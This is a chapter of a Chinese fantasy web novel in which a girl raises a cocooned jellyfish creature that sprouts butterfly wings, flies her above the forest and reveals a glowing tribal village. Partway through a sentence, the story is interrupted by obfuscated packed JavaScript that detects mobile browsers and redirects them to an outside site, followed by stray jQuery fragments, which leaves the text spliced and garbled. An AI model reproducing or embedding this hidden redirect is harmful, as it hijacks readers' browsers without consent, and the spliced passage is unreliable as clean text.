35. 飞翔

作品:《被怪物饲养之后[人外]

    说实话,丽莎的内心很忐忑:小水母是为了保护她才变成这个样子的,她根本没有照顾好它。


    但眼前的大蓝人只是静静站着,垂头看了一眼她手上的茧,就淡淡地移开了视线。


    还行,她最差的预想是他会愤怒地夺走这枚茧,但他没有。可他身边也没有飘出那只小水母。


    丽莎静静地又等了一会儿,张了张嘴。


    她很犹豫,首先,她不确定这个蓝人会不会说话,就算会,他们的语言和她也不是一个体系的。


    他先开口了,嗓音似乎因为长久不开口而泛着磁性的低沉。


    “奈亚。”


    然后是一连串她绝对发不出来的音节,间中混杂着几个“提卡”。他也许是在自我介绍,丽莎这么想着,点了点头。


    然后他像是受到什么打击一样,转身便离开了。


    “……”丽莎有点蒙圈。


    看来暂时是没有办法了解小水母是怎么回事了,她觉得它可能会死在她手里,又一次。


    但没过多久,丽莎意识到,她的担心是多余的。


    她的腿脚不太方便,这个时候再拒绝“森林友好邻居”的礼物就太和自己过不去了,等她稍微好一点儿,会和他道谢的。


    然而……


    茧,卵或者种子孢子还是什么,在她尝试拾起门口放着的生肉的时候,咔咔破开了一个小口子。


    丽莎僵硬住身体,她以为自己弯腰挤压到了它——从它在地面上脱落下来,她就一直把它装在随身的挂脖兜兜里。


    她小心翼翼地取出来。


    从那小小口子的内部,探出来一条柔软灵活的触须,并且,精准地叉走了她手里的生肉。


    呲溜,极其狠的一下。


    快到她根本没看清,它是怎么把那块带着荧光血液的肉从小口里扯进去的。


    丽莎不敢抱着这颗茧了,她不确定里面还是不是那只柔软无害的小水母。然而,当她小心翼翼把它地面上的时候,它动起来了。


    它看起来是想出壳,但是破开的口子很小,它并不能完全挣脱出来。于是,那条柔韧的半透明触须又伸了出来。它就用那条触须在地上爬动……


    而且,它开始吃一切它能碰到的东西。


    她丢在地上用来当抹布的毯子,她掉的头发,她用来当拐杖的树枝,她随意做废的鞋袜,还有墙壁,对,它居然会啃墙和地面。甚至黑黑,黑黑被吃了一大半,是她扯住了它才没有被完全拉进那个茧里。


    “……”丽莎算是知道黑黑为什么这么害怕了。


    换了她,她也害怕。


    她害怕它会摸过来把她给吃了,但她又不敢丢掉它,当她说话的时候,它有一种钝钝的反应,紧接着就慢腾腾地在地上打滚,简直和小水母一模一样的黏糊糊。


    丽莎觉得里面应该还是小水母,可能……稍微大一点点的“小水母”。


    因为它变大了,从拳头大小变成了起码一颗篮球那么大,而且干燥的天鹅绒表皮变得湿润,上面还多出许多幽蓝色的莹光星点。


    而且,她睡觉的地方完全被它占领了,那个角落里出现了一个足够大的洞……巢穴,或者其他什么,丽莎不知道该用什么词语来形容。


    这玩意的上面黏连着毯子的碎屑,不愿意去细想来源的毛发,还有……黑黑的一部分,稀稀拉拉的点缀在表皮上。


    同时,这个“巢”被一种半透明的混沌胶质沾在墙壁和地面上,有一个刚好允许小水母进进出出的椭圆形开口,行动的时候拖出几道长长的发光粘液。


    总之,看起来非常恶心。


    丽莎起了一堆细小的鸡皮疙瘩。


    她尝试清理那个巢穴,被黑黑疯狂制止了,它以身告诉丽莎,不要试图介入小水母现在的行动中。黑黑只是靠近它,就又被扯掉了一块,吊在巢穴上方“鞭尸”装点。


    她想,她再也不会睡在那边角落里了。


    丽莎甚至担心她睡着的时候,它会把她给悄无声息地吃掉。但这种事情并没有发生,它似乎意识到她换了地方睡觉,第二天就动作极迅速地把“巢穴”拆掉,然后……挪到了她换地方睡觉的那处儿。


    有的时候,丽莎醒来会发现它的触须就搭在她受伤的脚踝上——它知道她那里不太舒服。


    软软的一条,很温润,冰凉。


    并没有什么份量,但却让她的心中升起很微妙的感觉,她无法控制脑海里的胡思乱想,但又理不出个什么头绪。


    不知道该说是不幸中的万幸,她发现它并不会吃她的食物,而且还会将捕获的猎物分给她。


    丽莎看见过它在花苞顶上捕猎的样子。


    它会探出飘摇的触须,它们看起来就像是海葵,但在阳光下反射着柔和而美丽的光,有巨大的蝴蝶会从林间的树梢飞来,爱恋地落在茧上,然后喀嚓嚓被触须无情绞碎。


    破裂的翅膀从庇护所的窗落进来,丽莎捡起来看了看,它们很轻,透亮像玻璃,但和纸片一样薄,敲击起来同样发出清脆的声响。


    她觉得这个会有用,就收起来放在了小窗边,现在那儿被黑黑打磨出了一个小小的台子,用来放她的一些杂物,旁边的大勺水里种着白色火花,黑黑就在火花岩石状的根上趴着打盹儿。


    水母吃掉蝴蝶,而丽莎得到蝴蝶的翅膀。


    当天晚上,它那个丑陋的巢穴上多出了好些蝴蝶翅膀的碎屑。


    从那之后,只要是她多看了几眼的猎物,它都会分出好些给她,如果她收下,它的触须就会开心地在地上扭动,如果她没什么兴趣,它也没有什么不开心的表现,只是很少再抓那种生物。


    是的,它不仅会诱捕,还会主动捕猎,甚至会进化出吃掉生物的器官。


    那天,照例是丽莎去森林里采集食物的时候。


    她本来不想带它们俩出去的,但黑黑留在家里恐怕会被水母给吃掉……这种事情真的很有可能发生,黑黑已经小到巴掌大了。


    她走得不快。


    她的脚已经好很多了,可以不用借助简陋的拐杖正常慢慢行动,但依旧会有一点点扭伤的钝痛感。有时候,她会想,森林也像一个巨大的笼子,她笨拙的腿脚能看到的天空都只有地面上被大部分植被遮蔽下能够看到的一小片。


    当丽莎转身拨开荧光蕨类的刹那,身后传来一声细微却清脆的撕裂声。


    她下意识回头,瞳孔却骤然收缩。


    那颗被小心安置在苔藓上的透明胶质“茧”……它捕猎的时候她不能抱着它,所以把它放下了。现在,在那顶端不规则裂口处探出了一对相比与它本身而言,巨大得不成比例的,湿漉漉的蝶翼!


    蝴蝶翅膀薄如蝉翼,色彩却浓烈到惊心动魄:低调哑光的黑色上有着深海旋涡般的靛蓝眼状斑点混合着魅惑的紫色粉色荧光勾边。湿透的鳞粉在细碎的阳光下折射出淡淡的虹光。


    这双梦幻又带着诡异张力的翅膀猛地掀动,甩落无数黏连的淡金半透明液滴。


    有那么一瞬间,丽莎觉得它要破茧成蝶了,然而并没有,它只是多出了一对蝴蝶翅膀,在空中笨拙地朝她飞过来……


    这看起来真的很诡异。


    丽莎内心其实有纠结,如果它回到森林里去,它的族群会找到它的话,是不是能长得更好一点点,至少不会生得奇形怪相。


    可当这种想法从大脑皮层划过的时候,她一秒否决。


    她绝对不会抛弃小水母,它是她的伙伴,是家人,不管变成什么样子,他们都会好好生活在一起。


    起先,它只是摇摇晃晃,笨拙可笑地飞舞。


    它尝试几次之后,就飞得轻巧而灵活,落在她的手上。


    它已经比一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054048|178626||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个篮球还要大了,丽莎小心地抱着,臂弯中的触感非常奇妙,沉沉的,摸起来像是空气,又像是微凉的水,揽起来很结实的一团,不用点力的时候又仿佛没有重量。


    那对漂亮的翅膀足足有她半个身子那么大。


    丽莎还在赞叹它们的美丽,紧接着,一股轻盈却不容抗拒的力量将她向上提起。


    它带着她飞起来了。


    在丽莎看不到的另一侧,“茧”的裂口伸出两条粗硕而柔韧的半透明触须牢牢地托住她的腰与臀,形成一个稳固的保护姿势。


    双脚脱离地面的时候,她忍不住想要挣扎,徒劳蹬踏着空气。失重感让她的心脏狂跳,那天从树干上摔下来的记忆席卷而来。


    “不,不,放我下去。”一瞬间丽莎大脑冒出豆大的冷汗,连手指都在痉挛。


    然而,等她颤抖着冷静下来,发现上升出乎意料地平稳。缠绕在腕间,腰腹的丝缕冰凉柔韧,硕大的蝶翼掀动气流。


    脚下那片带着糟糕印象的林海以一种不可思议的速度展开、缩小。


    当最初的害怕被高处的风渐渐垂散,丽莎发现她屁股底下有什么东西,这让她能够抱着怀里的“茧”坐着。


    他们掠过林稍。


    风拂过丽莎因紧张而汗湿的脸颊,带来前所未有的清凉。


    很高……她几乎要目眩,依旧大着胆子往下看,第一次看清了这座森林的全貌——墨绿色的树冠层叠起伏,如同风海之中的波涛,蜿蜒的银色溪流温柔地切开它们,阳光泼洒其上,跳跃着碎金的光点。一望无际的绿意披散在看不见的尽头,与淡蓝色的穹顶相接。


    丽莎抬头看向太阳,眼睛因为光线本能地眯了一下。黑黑爬上了她的头顶,温温吞吞地滩开张得扁扁像一顶遮阳的黑帽。风吹动它柔软的边缘,泛起涟漪般的裙边。


    飞翔的感觉……好自由。


    “谢谢。”她喃喃道,“谢谢你们。”


    疲惫、酸痛、每一步的沉重……这些日子里几乎将她压垮的痛苦,在如此壮阔而宁静的景象面前,也如同尘灰一般渺小,被清爽的风轻易吹散。


    “真漂亮啊。”


    一瞬间的天黑,丽莎的心条件反射地紧缩了一下,下一秒,她感觉到臂膀两侧亮起无比柔和的光晕,头顶也传来带着热意的橘色光芒。


    它们都在,她是安全的,她默念着努力放松自己,尝试转移注意力。


    低头的瞬间,丽莎的呼吸凝滞了。


    下方不再是森林,而是一条流淌的星河。像被神灵随手洒下的碎屑坠入凡间,巨大的荧光蕨类如同翡翠穹顶,而在那些伞盖的枝叶间,悬挂着数以百计的树冠吊屋——他们并非笨重的巢穴,而是用半透明白色树胶膜包裹的轻盈卵形。


    夜风拂过,气囊兰花托举的吊屋微微摇曳,透出内部温暖柔和的生物光晕,如同沉睡发光的萤火虫尾部。


    河道上,浮台如散落的碎钻随波浮动,硬化藻类拼接的平台间以发光的活藤索桥相连接,隐约可见人影在桥上走动,他们行过的脚印仿佛流动的光点。


    “……”丽莎震惊地说不出话来。


    这是,一个部落。


    她的呼吸频率不太平稳,无意识地收紧了怀中的“茧”。而这样的力道,让它似乎认为她想要过去,带着她快速下降。


    几道锐利的目光骤然刺破梦幻。


    右下方最高的孤岛巨树上,栖息着一只似鸟又似翼龙的生物,它不安地咔咔低吼,一瞬间,光芒如同探照灯穿破黑夜,索桥上的所有人影都喧嚣蛰动起来,似在寻找入侵者。


    接二连三的蓝色类人跃上他们的伙伴,为首一只撕裂夜风直冲而上,骑手背部的莹光条纹在疾驰中拉出冷冽的流光。


    他的方向,是她。


    丽莎暗道一声糟糕:“不,不,快走,离开这里。”